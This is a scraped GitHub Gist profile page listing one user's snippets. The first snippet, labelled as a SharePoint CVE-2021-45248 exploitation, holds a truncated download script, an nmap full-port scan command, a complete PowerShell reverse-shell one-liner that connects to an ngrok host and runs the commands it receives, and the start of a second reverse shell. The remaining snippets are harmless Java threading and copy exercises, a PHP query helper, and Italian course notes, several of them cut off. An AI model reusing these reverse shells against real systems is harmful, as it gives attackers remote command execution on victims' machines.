Skip to content

Instantly share code, notes, and snippets.

@Arkango
Arkango / download_source_code.sh
Created June 28, 2023 07:44
Sharepoint CVE-2021-45248 exploitation
#$1 file with links retrieved by the history ending in .aspx
# also try filename.cs.aspx
i=0
mkdir out
for l in $(cat $1)
do

ports=$(nmap -p- --min-rate=1000 -T4 ip | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//) nmap -sC -sV -p$ports ip

$client = New-Object System.Net.Sockets.TCPClient("0.tcp.ngrok.io",11251);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
$socket = new-object System.Net.Sockets.TcpClient('0.tcp.ngrok.io', 11349);
if($socket -eq $null){exit 1}
$stream = $socket.GetStream();
$writer = new-object System.IO.StreamWriter($stream);
$buffer = new-object System.Byte[] 1024;
$encoding = new-object System.Text.AsciiEncoding;
do
{
$writer.Flush();
$read = $null;
@Arkango
Arkango / appunti.md
Created October 31, 2019 06:34
Appunti corso edureka su intelligenza artificiale
<?php
function getCountByField($year,$field,$interessato_a = ''){
$acceptable = ["citta","provincia" ,"source_potential" ,"campagna" ];
if(in_array($acceptable,strtolower($field))){
$whereClause = ($interessato_a == '') ? '' : " and interessato_a = ".$interessato_a;
return GQD('fl_leads_hrc',$field.", count(*) as cnt ","year(data_creazione) = ".$year." ".$whereClause." GROUP BY ".$field);
}else{
return null;
}
}
@Arkango
Arkango / ThreadExercRunnable.java
Created June 8, 2019 09:00
Exercise with runnable implementation
class SimpleThreadExRun implements Runnable {
private static int ThreadCounter = 0;
private int seriesCounter = 0;
private int lastNumber;
private int ThreadId;
public SimpleThreadExRun(int value){
ThreadId = ThreadCounter ++;
seriesCounter = value;
@Arkango
Arkango / ThreadExercise.java
Created June 8, 2019 08:52
Ten threads that are started together, each one print a sequence x ,x+1,x+2 ... where x is an int number
class SimpleThreadEx extends Thread {
private static int ThreadCounter = 0;
private int seriesCounter = 0;
private int lastNumber;
private int ThreadId;
public SimpleThreadEx(int value){
ThreadId = ThreadCounter ++;
@Arkango
Arkango / DeepCopy.java
Created June 8, 2019 07:23
DeepCopy sample in java
class Course implements Cloneable
{
String subject1;
String subject2;
String subject3;
public Course(String sub1, String sub2, String sub3)
{
@Arkango
Arkango / ShallowCopy.java
Created June 8, 2019 07:18
In the above example, ‘student1‘ is an object of ‘Student‘ class which has three fields – id, name and course. ‘course‘ is a reference variable pointing to a ‘Course‘ type object. Clone of ‘student1‘ is created by calling clone method on it and assigned it to ‘student2‘. As default version of clone method creates the shallow copy, the ‘course‘ f…
class Course
{
String subject1;
String subject2;
String subject3;
public Course(String sub1, String sub2, String sub3)
{